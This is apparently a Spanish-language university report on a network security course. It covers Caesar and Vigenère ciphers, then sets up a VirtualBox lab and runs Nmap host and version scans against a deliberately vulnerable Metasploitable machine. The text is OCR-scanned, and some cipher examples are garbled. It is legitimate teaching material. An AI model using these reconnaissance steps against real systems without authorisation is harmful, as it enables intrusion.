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Resumen

El presente tomo académico recopila y desarrolla los contenidos abordados durante el
periodo 2025-1 en la asignatura Seguridad y Auditoria de Redes. A lo largo del documento se
describen los procedimientos, herramientas y metodologias empleadas en los diferentes
laboratorios practicos enfocados en reconocimiento, analisis de vulnerabilidades, explotacion
controlada y fortalecimiento de la seguridad en entornos virtualizados. Se emplearon
distribuciones GNU/Linux, sistemas Windows, maquinas vulnerables y equipos de red con el fin
de comprender de manera integral el funcionamiento de los ataques y las estrategias de
proteccion. Este informe sirve como evidencia del proceso formativo, permitiendo consolidar

competencias en ciberseguridad ofensiva y defensiva bajo un enfoque ético y académico.
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Introduccion

La seguridad informatica constituye uno de los pilares fundamentales en la
administracion moderna de redes y sistemas de informacion. En el marco de la asignatura
Seguridad y Auditoria de Redes, se desarrollo una serie de actividades tedrico—practicas
orientadas a comprender los principios y procedimientos esenciales para identificar, evaluar y
mitigar vulnerabilidades en diferentes plataformas tecnologicas. Para ello se emplearon
maquinas virtuales configuradas en un entorno controlado, permitiendo explorar herramientas de
analisis de puertos, explotacion de servicios, verificacion de configuraciones inseguras y uso de

suites especializadas como Nmap, Metasploit Framework, Aircrack-ng, entre otras.

El presente tomo recoge los resultados, comandos utilizados, explicaciones y evidencias
de los laboratorios realizados durante el semestre. Su propoésito es documentar de forma
estructurada las practicas llevadas a cabo, fortaleciendo el entendimiento de las técnicas
empleadas en auditorias de seguridad y resaltando la importancia del enfoque ético en cada
procedimiento. De esta manera, el informe se convierte en un apoyo académico para futuros
procesos de aprendizaje y para la consolidacion de habilidades profesionales en el ambito de la

ciberseguridad.
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Alcance

El informe cubre un periodo de trabajo de cuatro 4 meses, iniciando el lunes 17 de julio
de 2025 y extendiéndose hasta el miércoles 21 de noviembre de 2025, momento limite
establecido para la entrega oficial del documento. Durante este tiempo se realizaron diferentes
practicas, se vieron distintos temas, se configuraron distintas de las maquinas virtuales, se
ejecutaron las pruebas correspondientes por cada tema, se recopilaron evidencias (capturas de
pantalla, salidas de comandos, configuraciones relevantes) y se sistematiz6 la informacion en el
presente documento, con el fin de dejar constancia del procedimiento y servir como insumo de

estudio futuras.
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Objetivos

General

Documentar de manera integral los contenidos, practicas y procedimientos desarrollados

durante el periodo académico 2025-1 en la asignatura Seguridad y Auditoria de Redes, impartida

por el docente Rafael Sandoval Morales, con el fin de consolidar un tomo académico que refleje

el proceso formativo de los estudiantes del IX semestre del programa de Telecomunicaciones e

Informatica.

Especificos

Describir los fundamentos teoricos relacionados con la seguridad y auditoria de
redes, incluyendo conceptos, métodos y normativas vistas durante el periodo
académico 2025-1.

Documentar de manera detallada los procedimientos desarrollados en los
laboratorios practicos, tales como reconocimiento de redes, uso de herramientas
de andlisis, exploracion de vulnerabilidades y pruebas controladas en méaquinas
virtuales.

Aplicar herramientas y técnicas de ciberseguridad ofensiva y defensiva, como
analisis de puertos, explotacion controlada de vulnerabilidades, creacion de
payloads y uso de entornos virtualizados para comprender sus funciones y
alcances.

Analizar los resultados obtenidos en cada practica de laboratorio, identificando
dificultades, aprendizajes y mejoras, con el fin de fortalecer las competencias en

auditoria y seguridad de redes.
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Planteamiento Del Problema
En el contexto actual, las redes informaticas son fundamentales para el funcionamiento
de instituciones educativas, organizaciones y sistemas tecnologicos. Sin embargo, esta creciente
dependencia de la conectividad expone a dichos entornos a riesgos de seguridad cada vez mas
sofisticados. La mayoria de los ataques exitosos ocurren no solo por fallas técnicas, sino por la
falta de conocimiento en procedimientos de auditoria, analisis de vulnerabilidades y respuesta

ante incidentes.

Durante el desarrollo de la asignatura Seguridad y Auditoria de Redes, los estudiantes
deben enfrentar escenarios reales simulados mediante maquinas virtuales y laboratorios
controlados. No obstante, surge un problema principal: la ausencia de un documento consolidado
que recopile explique y analice de manera integral las técnicas, herramientas y procesos
aplicados en los laboratorios practicos, tales como reconocimiento de servicios, escaneo de
puertos, explotacion de vulnerabilidades, generacion de payloads, uso de méquinas vulnerables,

analisis de trafico y técnicas basicas de mitigacion.

Esta falta de documentacion estructurada dificulta el seguimiento, la comprension y la
estandarizacion de los procedimientos realizados, afectando la apropiacion del conocimiento y
dificultando el estudio autobnomo. Ademas, los estudiantes pueden cometer errores que retrasan el
aprendizaje, como configuraciones incorrectas, mal uso de herramientas o desconocimiento de la

secuencia légica de un proceso de auditoria.

Por tanto, se identifica la necesidad de crear un tomo académico que compile y explique
de forma detallada, clara y practica todas las actividades, comandos, analisis y resultados
obtenidos, con el fin de facilitar el aprendizaje, apoyar futuras cohortes y fortalecer la

comprension de los conceptos de seguridad y auditoria de redes.
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1. Capitulo 1: Cifrados.
1.1. Concepto Introductorio
El cifrado es una técnica utilizada desde la antigiiedad para proteger la informacion,
garantizando que solo las personas autorizadas puedan comprender el mensaje original. En
esencia, consiste en transformar un texto legible (texto plano) en un texto ininteligible (texto

cifrado) mediante el uso de una regla o algoritmo.

A lo largo de la historia, los métodos de cifrado han evolucionado desde sistemas
manuales simples, como el cifrado César, hasta complejos algoritmos computacionales modernos

que emplean claves de gran longitud y operaciones matematicas avanzadas.

El objetivo principal del cifrado es preservar la confidencialidad y seguridad de la
informacion, evitando el acceso no autorizado a datos sensibles. Existen distintos tipos de
cifrados que pueden clasificarse, de manera general, en cifrados por sustitucion (donde se
reemplazan letras o simbolos) y cifrados por transposicion (donde se cambia el orden de los

caracteres).

En este capitulo se estudiaran los principales tipos de cifrados clasicos, iniciando con el
cifrado César, uno de los mas antiguos y sencillos, seguido por el cifrado Vigenére, que introduce

el concepto de clave para aumentar la seguridad del mensaje.
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1.2. Tipos de cifrados
1.2.1 cesar
El cifrado del cesar indica que va a iniciar desde el final, es un cifrado tradicional por
desplazamiento, es una de las técnicas de codificacion mas simples y mas usadas, quiere decir
que, si me posiciono en una letra la cuenta 3 posiciones anteriores a esa letra, los signos <y >
define si retrocedemos o avanzamos, esto quiere decir que si es <3 debemos posicionarnos 3

letras por delante de la que tenemos y si es >3 se retrocedera 3 letras.
Inglés: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Espafiol: ABCDEFGHIJK LMNNOPQRSTUVWXYZ

1.2.2 Ejemplo 1 de cifrado:

<3

e Palabra: La informatica es esencial (descifrarlo)

e Cifrado: ODLQIRUPDWLFD
<4 >2 <5 >3 <4 <6

e Palabra: piti es la mejor de fapa

e Cifrado: mepe gu gv ohmru za tgvg

1.2.3 Ejemplo 2

<4 >5 >3 <2 >3 <3>3

e Palabra:SEGURIDAD DE REDES UTCH
e Cifrado: oacqnezwz gh pgfgu rqze

e Segundo cifrado: tthvsjebe gh sfeft utch
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1.2.4 Cifrado vigenier.

El cifrado Vigenere es un método de cifrado polialfabético que utiliza una palabra clave
para determinar una serie de desplazamientos en el alfabeto. A diferencia del cifrado César, que
emplea un tnico desplazamiento fijo para todo el texto, el cifrado Vigenére aplica un

desplazamiento distinto para cada letra del mensaje, segun las letras de la clave elegida.

Este sistema fue descrito por primera vez en el siglo XVI1 y se atribuye al diplomatico
francés Blaise de Vigenére, aunque versiones previas del método ya habian sido propuestas por
otros criptografos europeos. Su objetivo principal era aumentar la seguridad del cifrado por
sustitucion simple, haciendo mas dificil la deteccion de patrones repetitivos mediante analisis de

frecuencia.

El proceso se basa en la repeticion de una palabra clave a lo largo del texto a cifrar. Cada
letra de la clave indica cudntas posiciones debe desplazarse la letra correspondiente del texto
original dentro del alfabeto. La operacion se realiza de manera modular, lo que garantiza que el

resultado siempre corresponda a una letra valida.

1.2.5 Ejemplo de cifrado vigenier.

Supongase que se desea cifrar la frase:

e Texto original: REGISTRO Y CONTROL

e Palabra clave: JEFE

Primero, se repite la palabra clave hasta igualar la longitud del texto:

| Texto original | R |[E|G|I|S|T|R|O|Y|C|O|N|T|R|O|L|

| Palabra clave |J|E|F|E|J|E|F|E|J|E|F|E|J|E|F|E|
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A continuacion, cada letra del texto se sustituye por la letra que se encuentra en la
interseccion correspondiente de la tabla de Vigenére, donde las filas representan las letras del
texto original y las columnas las letras de la clave. De este modo, el cifrado resultante depende
tanto del contenido del mensaje como de la palabra clave utilizada, lo que hace que el método

sea mucho mas resistente a los ataques criptograficos clasicos que el cifrado César.
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2. Capitulo 2: Introduccion al mundo de la ciberseguridad - Prueba de Penetracion en un

Entorno Académico Virtual Utilizando Nmap Y Metasploit

2.1. Introduccion
La siguiente seccion tiene como finalidad documentar detalladamente el proceso

mediante el cual se llevo a cabo la identificacion, analisis y explotacion de vulnerabilidades en
una maquina virtual vulnerable (Metasploitable), utilizando herramientas como Nmap y
Metasploit Framework, dentro del entorno de red previamente configurado bajo VirtualBox con
adaptadores NAT. Este ejercicio corresponde a la practica asignada por el docente a cargo como
parte del desarrollo de competencias en auditoria de seguridad informatica, y fue realizado en un
entorno académico controlado y con fines exclusivamente educativos. Dentro de este contexto,
también se busca demostrar la correcta aplicacion de conceptos clave de la ciberseguridad
ofensiva, como son el reconocimiento activo de servicios, la enumeracion de versiones, la
busqueda de exploits conocidos, y la ejecucion de payloads interactivos para obtener control
sobre sistemas objetivo. Las técnicas desarrolladas estan alineadas con los lineamientos éticos
del hacking de penetracion, y se basan en las instrucciones proporcionadas por el docente en

sesiones anteriores, asi como en la documentacion técnica de las herramientas empleadas.
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2.2. Alcance

Segun lo estimado esta seccion cubria un periodo de trabajo de cuatro dias, iniciando el
lunes 4 de agosto de 2025 y extendiéndose hasta el miércoles 6 de agosto de 2025, finalizando el
jueves 7 de agosto a las 9:00 a. m., momento limite establecido para la entrega oficial del
documento. Durante este tiempo se realizo la configuracion de las maquinas virtuales, se
ejecutaron las pruebas correspondientes, se recopilaron evidencias (capturas de pantalla, salidas
de comandos, configuraciones relevantes) y se sistematizé la informacion en el presente informe,
con el fin de dejar constancia del procedimiento y servir como insumo de estudio para

evaluaciones futuras.

2.3.0bjetivos
2.3.1 General
Realizar una prueba de penetracion controlada sobre una maquina virtual vulnerable
(Metasploitable), utilizando herramientas de analisis y explotacion como Nmap y Metasploit
Framework, con el fin de identificar y documentar vulnerabilidades explotables en un entorno

académico simulado.

2.3.2 Especificos

e Configurar correctamente el entorno de red entre las maquinas virtuales (atacante
y victima) dentro de VirtualBox, asegurando la conectividad a través de una red
NAT denominada “SEMESTRE9-2025-1".

e [Ejecutar escaneos de red mediante Nmap para descubrir hosts activos y obtener
informacion detallada sobre los servicios y versiones disponibles en la maquina

victima.
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Identificar posibles vulnerabilidades presentes en los servicios detectados,
mediante el uso de herramientas como Searchsploit y los modulos incorporados
en Metasploit Framework.

Configurar y utilizar correctamente modulos de explotacién en Metasploit para
ejecutar payloads que permitan tomar control de los servicios vulnerables en la
maquina victima.

Documentar paso a paso el proceso realizado, incluyendo evidencias como
comandos ejecutados, resultados obtenidos y capturas de pantalla que respalden

los hallazgos técnicos.
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2.4. Planteamiento Del Problema Del Capitulos 2

En un entorno cada vez mas digitalizado e interconectado, las organizaciones,
instituciones educativas y usuarios particulares dependen en gran medida de sistemas
informaticos que ofrecen multiples servicios en red. Esta creciente dependencia ha traido consigo
una expansion de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde
un atacante podria comprometer la seguridad de un sistema. A pesar de los avances tecnologicos
en software y hardware, muchos servicios siguen presentando fallas de configuracion, versiones
obsoletas o vulnerabilidades conocidas que pueden ser explotadas facilmente si no se identifican

y mitigan a tiempo.

En el ambito educativo, uno de los principales desafios consiste en brindar a los
estudiantes oportunidades para aplicar de forma practica los conocimientos adquiridos en el aula
sobre seguridad informatica, analisis de vulnerabilidades y técnicas de explotacion. Sin embargo,
realizar practicas de hacking ético directamente sobre sistemas reales implica riesgos éticos,
legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas

habilidades.

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la
forma adecuada de aplicar las herramientas de analisis y explotacion, ni los pasos metodoldgicos
necesarios para llevar a cabo una prueba de penetracion completa y estructurada. El
desconocimiento sobre como descubrir servicios vulnerables, identificar exploits adecuados o
gjecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de

aprendizaje y limitar la comprension de los conceptos clave de ciberseguridad ofensiva.
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Este informe surge como respuesta a la necesidad de documentar de forma clara 'y
practica como realizar una prueba de penetracion ética sobre una maquina vulnerable, replicando
un escenario realista en un entorno académico controlado. En este caso, se hace uso de
herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red, y
Metasploit Framework, para la explotacion de vulnerabilidades conocidas, con el fin de
fortalecer las competencias técnicas del estudiante, mejorar su capacidad de analisis y prepararlo
adecuadamente para situaciones practicas que puedan presentarse tanto en el entorno académico

como en el profesional.



46

2.5. Desarrollo del capitulo: Reconocimiento y Explotacion de Servicios Vulnerables en
Metasploitable Usando Nmap y Metasploit
El lunes 4 de agosto de 2025, el docente Rafael S Morales, como parte de la
recuperacion de la clase del dia 31 de Julio de 2025,en esta clase se dio la introduccion al mundo
de la ciberseguridad. Los temas tratados en dicho encuentro obedecieron a como se configura el
NAT, que basicamente en una forma de DHCP para las maquinas virtuales, el software que se

eligi6 para la creacion de estas maquinas virtuales fue VirtualBox.

2.6.Conocimientos Previos
Antes de comenzar a desarrollar el informe y mostrar los resultados obtenidos de debe
conocer una serie de conceptos que por lo menos yo considero que son de suma importancia

para conocer lo que se hizo y con que se trabajo.

2.6.1 (;Qué es VirtualBox?
Segun (Oracle, 2024) “VirtualBox es un software de virtualizacion completo de propdsito
general para hardware x86 64 (con la version 7.1 adicionalmente para macOS/Arm), dirigido a

computadoras portatiles, computadoras de escritorio, servidores y uso integrado.”

VirtualBox nos permite ejecutar multiples sistemas operativos como maquinas virtuales
en un tnico equipo fisico, sin necesidad de reiniciar ni alterar el sistema principal. Es compatible
con diversas plataformas anfitrionas como Windows, Linux, macOS y lo que o hace un software
bastante necesario dentro del campo de la ensefianza y la practica en el ambito de la ciber

seguridad.

2.6.1.1 Caracteristicas de Virtual Box.

Segun Oracle las principales caracteristicas de VirtualBox son:
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e Soporte para sistemas operativos invitados como Debian, Ubuntu, Kali Linux,
Windows, entre otros.

e Configuracion flexible de recursos (memoria, CPU, almacenamiento).

e Compatibilidad con iméagenes ISO, instantaneas del sistema, carpetas
compartidas, USB y red virtual.

e Comunidad activa y documentacion abundante

2.6.1 ;Quées Nmap?
(Nmap, s. f.) dice “Nmap (“mapeador de redes”) es una herramienta de codigo abierto
para exploracion de red y auditoria de seguridad. Se diseiio para analizar rapidamente grandes

redes, aunque funciona muy bien contra equipos individuales.”

Nmap envia paquetes personalizados a las maquinas objetivo y analiza las respuestas para
inferir informacion sobre los servicios, puertos, protocolos y sistemas operativos presentes.
Puede trabajar tanto en modo sencillo (ping scan, escaneo TCP) como en modos avanzados

usando scripts personalizados.

2.6.2 ;Qué son Metasploitable 2 y Kali Linux?

Metasploitable es una maquina virtual intencionalmente vulnerable creada por Rapid7
(los mismos desarrolladores de Metasploit Framework) con el proposito de que estudiantes,
investigadores y profesionales de la seguridad informatica puedan practicar técnicas de hacking

ético y pruebas de penetracion en un entorno controlado y legal.

Segun (Buckbee, 2022) :

El Proyecto Metasploit fue emprendido en 2003 por HD. Moore para su uso como

herramienta de red portatil basada en Perl, con la ayuda del desarrollador principal Matt
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Miller. Se convirtié6 completamente a Ruby en 2007, y la licencia fue adquirida por
Rapid7 en 2009, donde permanece como parte del repertorio de la compafiia con sede en
Boston de desarrollo de firmas IDS y herramientas especificas de explotacion remota,

fuzzing, antiforense y evasion.

Por otro lado, Kali Linux es una distribucion de Linux especializada en ciberseguridad,
desarrollada por Offensive Security. Esta disefiada especificamente para realizar pruebas de

penetracion, andlisis forense digital, ingenieria inversa y auditorias de seguridad.

Segun el Sitio oficial (Kali Linux, 2025): “Kali Linux es una distribucion de Linux de
codigo abierto basada en Debian orientada a diversas tareas de seguridad de la informacion,
como pruebas de penetracion, investigacion de seguridad, informatica forense e ingenieria

inversa que incluye mas de 600 herramientas preinstaladas ™

2.6.2.1 Caracteristicas de estos sistemas

Si hacemos un cuadro comparativo entre los dos entornos encontraremos que tiene las

siguientes caracteristicas :

Tabla 1. Caracteristicas Entre Kali Linux y Metaploitable

Caracteristica Metasploitable Kali Linux
Funcion Miquina victima (con fallas) uso  Maquina atacante (con mas de 600
principal educativo herramientas )
Disefiada para  Ser explotada en entornos de Realizar ataques controlados y
prueba analisis
Basada en Linux (generalmente Ubuntu) Linux Debian
Riesgo si se Alto (tiene vulnerabilidades Bajo (controlado por el usuario)

expone activas)
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2.7.Conducto Seguidos al Desarrollar Esta Practica (paso 1)
Para empezar a desarrollar esta practica seguimos los siguientes pasos que se

desarrollaran a continuacion .

2.7.1 Configuracion de la red NAT para nuestro practica
Lo primero que hicimos fue configurar una red NAT para que los equipos virtuales se
comuniquen entre si, esta red actuara como un servicio DHCP que les rentara direcciones tanto a

Kali Linux como a Metaploteible, lo que en tltima instancia permiti6 la comunicacion entre

estos sistemas

._\‘{‘_
ooQ
11

I ——

x6488 Parrot 05 6.4 MATE Security Edition
B © rpagad
pagada

L

El‘! W-SERVER-2025
2022 Guardada

3f | win-XP
'-I*’?ﬁ‘ Guardada

Figura 1. Ingreso al Apartado de Herramientas de VirtualBox

Observacion: Lo primero que se hizo fue ingresar al VirtualBox y se entro al apartado de

herramientas ( marcado con el rectangulo verde).
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H  — . .
a Herramientas ;‘f §= @ Bienvenido @
ropiedades
Extensiones
kSN Parrot OS 6.4 MATE Security Edition h Redes NAT  Redes en la nube
@ ©
= Apagada
Medio
&&2f | W-SERVER-2025 ly Ethernet Adapter
% #
Guardada Red ly Ethernet Adapter #2
A win-XP Cloud
YD Guardada 5
) kali_linux Actividades

! (& Guardada

k6™ Metasploitable3-ub1404
@Apagada

.E?.! metasploitable3-workspace win2k8 1753975480563 ...
DK @Apagada

Figura 2. Seleccion del Apartado Red

Observacion: Lo siguiente fue darle clic al apartado de red tal cual como se puede

observar en la imagen anterior, luego podemos entender como se crea el NAT

Al A

Crear  Eliminar = Propiedades

Redes solo-anfitrion ~ Redes NAT  Redes en la nube

Nombre Prefijo IPv4  Prefijo IPva servidor DHCP
semestre-2-2025-1 192.1.1.0/24 fd17:625cf037:101:/64 Habilitado

pciones generales  Reenvio de puertos

Nombre: semestre-g-2025-1

Prefijo IPvd: 192.1.1.0/24

@ Habilitar DHCP

Habilitar IPvé
Prefijo IPve: fd17:625c:f037:101::/64
Anunciar ruta por defecto IPv6

Aplicar Restaurar

Figura 3. Creacion de Red NAT

Observacion: al ingresar al apartado de nos saldra el siguiente cuadro; si bien este

apartado nos permite crear 3 tipos de redes, aqui seleccionaremos la opcion de red NAT (flecha-
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azul) luego seleccionamos la opcidn de crear (cuadro naranjado) en ahi ingresaremos el nombre

que queramos para nuestra red, en mi caso elegi la red Red-semestre9-2025-1, por que fue con

la que trabajamos en clase. Por tltimo, nos ubicamos en la parte inferior de nuestra pagina e

ingresamos la Ip a repartir, el prefijo que necesitemos y precionamos habilitar el DHCP, los

datos ingresados fueron los siguientes.

Tabla 2. Datos de la Red NAT

Nombre

Ip prefijo

semestre-9-2025-1 192.1.1.0 /24

2.7.2 Se habilita el apartador de red NAT en los sistemas Kali Linux y Metaplotaible

Para poder habilitar la opcion de apartador NAT en los sistemas operativos que estamos

trabajando haremos lo siguiente:

i
i Herramientas

Parrot OS 6.4 MATE Security Edition
- O Apagada

g-! W-SERVER-2025
(L2 (3 Guardada

B ] win-XP
"ﬁ Guardada

%™ kali_linux

Guardada
Metasploitable3-ub1404
f @ Apagada

g. metasploitable3-workspace win2k8 1753975480563 ...
2008 [ ©) Apagada

i) metap
(& Guardada

kali-linux- =
f @Apagada =

e

%@ D .

Nueva Afiadir  Configuracidn Descartar  Iniciar
=] General =] Previsualizacién

| €0 kali-linux- - Settings —

(m) X =

Basic M Search seftings £

| E General Red
Sistema ! 2 3 4
@ Habilitar adaptador de red
@ Pantalla
Conectado a: NAT i
| @ Almacenamiento
(D:I Audio Tipo de adaptador: Intel PRO/1000 MT Desktop (32540EM) v

| @ Pre e Direccién MAC: 080027CE0556 5] 10
@ cable conectado

& 123 Reenvio de puertos —
‘ Ij Carpetas compartidas
| If‘ Interfaz de usuario Puertos serie 1

Puerto 1 Puerta 2 Puerto 3 Puerto 4

| Cancelar Ayuda
Ninguno
&) Descripcién

Figura 4. Habilitacion Adaptador NAT en Kali y Metap
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Damos clic en los 3 cuadros (flecha naranja) luego el apartado de configuracion (flecha

azul) precionamos el apartado de red (flecha negra). Por tltimo, habilitamos el adaptador de red

y seleccionamos la opcion de conectar red NAT, se habilita el modo promiscuo para que se

permita, si hacemos todo bien nos deberia salir asi.

‘E} kali_linux - Settings

M Generai

Sistema

W Pantala
Almacenamiento
(Dl Audio

[/ Red

£330 Puertos serie

£ use

[] Carpetas compartidas

If‘ Interfaz de usuario

Red

= [m] »

Search settings £

Adaptadaor 1 Adaptador 2~ Adaptador 3 =~ Adaptador 4

Habilitar odapiedor de red
Conectado a:

Nombre:

Tipo de adoptador:

Modao promiscuo:

Puertos serie

Red NAT i
semestre-9-2025-1 >

intel PRO/10GC MT

Permitir tada R2

GEIGATZCREZA L4

@ cable conectado

Puerto 1 Puerta 2 Puerto 3 Puerto 4

Erable Serial Port

Cancelar Ayuda

Figura 5. Forma Correcta de Configuracion , configuracion en Kali Linux

Observacion: Al configurar el adaptador de forma correcta nos deberia salir el nombre

de la red NAT y el modo promiscuo deberia poder configurarse en permitir todo.

{3 metap - Settings

M General

Sistema

M rantaa
Almacenamiento
(Dl Audio

7 Red

£33 Puertos serie

(5 use

[7] carpetas compartidas

E‘ Interfaz de usuario

Red

= [m] x

Search settings £

Adaptador 1 Adaptador 2 =~ Adaptador 3 =~ Adaptador 4

Habilitar gdapiador de red
Conectado a:

Nombre:

Tipo de udaptador:

Moado promiscuo:

Direccion MAL:

Puertos serie

Red NAT d

semestre-9-2025-1 d
lntel PRO/TOG0 MT Deshtop (825406,

Permitir todo =
GOOO27FC4B33 L]

B cable conectado

Puerto 1 Puerto 2 Puerto 3 Puerto 4

Enable Serial Pori

Cancelar Ayuda

Figura 6. Configuracion en Metaplotaible
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2.7.3 Se verifica la comunicacion entre los dos sistemas
Para verificar que lo que hicimos hasta aqui funciona lo primero que hicimos fue ingresar
desde nuestras maquinas virtuales (Kali Linux y Metaploteible ) y revisar que la red NAT si nos

esté entregando una direccion del segmento de red que configuraos

Aplicaciones  Lugares 6deago 17:47 ®s8% @29% 100k LOOKB

\% kali@kali: ~

- a
1: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
t qlen 1000
link/loopback ¢ :00
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
2 <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP grou
p default qlen 1000
Llink/ether o 3 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute etho
valid_1ft 557sec preferred_lft 557sec
inet6 /64 scope link noprefixroute
valid_lft forever preferred_lft forever

@ brd 00:00

&0 B gl@ & cr DerecHA
e .. oo LEOBYLON OES IV ~aZ ewn Zins

Figura 7. Revision de Direccion IP Entregada en Kali
Observacion: Utilizando el comando ip a (flecha naranjada) en nuestra terminal de Kali
Linux podemos revisar que el servicio si nos dio una direccion Ip (fecha azul) del segmento que

se cred en la Red NAT. Este paso se aplico también en la otra maquina.
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Last login: Mon Aug 4 18:03:53 EDT 2025 on ttyl
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC Z008 i686

The programs included with the Ubuwntu =system are free softuare:
he exact distribution terms for each program are described in the
individual files in ~usrrsshare-doc-=x-copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

To access official Ubuntu documentation, please visit:
http: - help.ubuntu.con~

H 3 6436 gdisc nogueue
llnk/lnuphack 00 00:00:00:00:00 brd 00:00:00:00:00:00
inet 127 .0.0.1-8 scope host lo
inett ::1-128 scope host
valid_1ft forever preferred_I1ft forever
etho: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast glen 1000
1 ™wk-sether 08:00:27:fc:4b:33 brd ff:ff:ff:ff:ff:fF
inet 192.1.1.6-24 brd 192.1.1.255 scope global ethO
inett feB0::a00:27ff:fefc:4b33-64 =cope link
valid_1ft forever preferred_I1ft forever
sfadmin@metasploitable:™S _

Figura 8. Revision de Direccion IP Entregada en Metap!

Aplicamos los mismos comandos (mirar el rectangulo naranja aqui se aplico el comando
y la flecha azul) en nuestra maquina virtual con metaploteible en donde obtuvimos un resultado

bastante similar al que pueden observar en la imagen anterior.

Las direcciones ip que tienen nuestras maquinas son:

Tabla 3. Direcciones Rentadas Desde el NAT a Cada Maquina
Magquina Ip Prefijo
Kali Linux 192.1.1.5 124

Metaplotaible 192.1.1.6 /24
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2.7.3.1 Ping de Kali Linux a Metaplotaible

Para probar que todo este funcionando bien y como medida adicional dimos ping de
extremo a extremo, esto quiere decir que mandamos un mensaje de una maquina a la otra para
como prueba final. Esto se hizo para confirmar que haya conexion para asi poder hacer la

vulnerabilidad de Kali a Metaplotaible. A continuacion, adjuntamos las captura.

kali@kali: ~

inet6 /64 scope link noprefixroute
valid_lft forever preferred_lft forever

19 1y
PING 192.1.1.6 (192
64 bytes from 192.1.1.
64 bytes from 192.1.1.

data.

1 ttl=64 time=0.
1 icmp_seq=2 ttl=64 time=0.
64 bytes from 192.1.1.6: icmp_seq=3 ttl=64 time=0.
64 bytes from 192.1.1. icmp_se ttl=64 time=0.
64 bytes from 192.1.1. i = ttl=64 time=0.
64 bytes from 192.1.1.6: i ttl=64 time=0.
64 bytes from 192.1.1.6: i ttl=64 time=0.
64 bytes from 192.1.1.6: i time=0.
'
--- 192.1.1.6 ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7145ms
rtt min/avg/max/mdev = 0.418/0.627/0.741/0.096 ms

i

)

Figura 9. Ping de Kali a Metaplotaible

Observacion: Se evidencia que todo esta funcionando correctamente y el ping llega sin

problema.

1: lo: <LOOPBACK,UFP,LOWER > mtu 16436 gdisc nogueue
linksloopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 1Z27.0.0.1-8 scope host lo
inetb ::1-128 scope host

valid_1ft forever preferred_lft forever
: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mntu 1500 gdisc pfifo_fast glen 1000
linksether 08:00:27:fc:4b:33 brd Ff:ff:ff:ff:FF:fF
inet 192.1.1.6+24 brd 192.1.1.255 scope global etho
inetb feBO::a00:27ff :fefc:4b33,64 scope link
valid_1ft forever preferred_Ift forever
sfadmin@netasploitable: ™5 ping 192.1.1.5
.1.1.5 (192.1.1.5) 56(84) bytes of data.
bytes from 192. : icmp_seq=1 ttl1=64 timne=4.29 ns
bytes from 192. icmp_seq=2 ttl=64 tine=1.17 ms
bytes from 192. icmp_seq=3 ttl=64 tine=1.00 ms
bytes from 192. icmp_seq=4 ttl=64 tine=1.18 ms
bytes from 192. icmp_seq=5 ttl=64 time=0.753 ms
bytes from 192. icmp_seq=6 ttl=64 tine=1.18 ms
bytes from 192. icmp_seq=? ttl=64 tine=1.19 ms
bytes from 192. icmp_seq=8 ttl=64 time=0.815 ms

]

N
.5
.5
.5
.5
.5
.51

—-— 192.1.1.5 ping statistics -—-

3 packets transmitted, 8 received, 0% packet loss, time 7003ns
rtt minsavg-smax-mdev = 9.753-,1.451-4.295/1.087 ns
sfadminﬂnetasplnitahle:"S

Figura 10. Ping de Metaplotaible a Kali
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2.8. Empezamos el Proceso de Vulneracion en Los Puertos Solicitados (Paso 2)
Ya con conexion entre las dos maquina entonces empezamos el proceso de vulneracion,

lo primero que se hizo fue escanear

2.8.1 Escaneo de Los Puertos Con Nmap sn (Paso 3)
Para iniciar la prueba de penetracion, se realiz6 un escaneo de la red con la herramienta
Nmap, con el fin de identificar qué dispositivos se encontraban activos en el segmento de red

asignado a las maquinas virtuales. El comando ejecutado fue nmap -sn 192.1.1.0/24

zsh: corrupt history file /home/kali/.zsh_history
{ )= | ~
L$ nmap -sn 192.1.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 22:37 -05
Nmap scan report for 192.1.1.1
Host is up (0.00046s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.1.1.2
Host is up (0.00035s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.1.1.3
Host is up (0.00069s latency).
MAC Address: 08:00:27:A1:90:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.1.1.6
Host is up (0.00072s latency).
MAC Address: 08:00:27:FC:4B:33 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.1.1.5
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.37 seconds

Figura 11. Excaneo de la Red Con Un Ping Rapido Utilizando Nmap sn

Observacion: Este comando que utilizamos nos indica que Nmap que realizo un ping
scan sobre todas las direcciones IP dentro del rango 192.1.1.0 a 192.1.1.255 (subred /24), con el

proposito de detectar hosts que estén encendidos sin escanear sus puertos.

2.8.2 Escaneo de Puertos y Servicios Vulnerables Con Nmap sV (Paso 4)
Una vez identificada la direccion IP 192.1.1.6 como una de las maquinas activas en la
red, se procedio a realizar un escaneo mas profundo mediante el comando nmap sV 192.1.1.6

en donde se identificaron los puertos abiertos, también intentamos identificar el nombre y la
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version del servicio que se ejecuta en cada puerto. Esto es bastante en una prueba de penetracion,
ya segun lo dicho en clase, “ muchas vulnerabilidades estan asociadas a versiones especificas de

servicios.”

192.1.1.6

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 22:27 -05
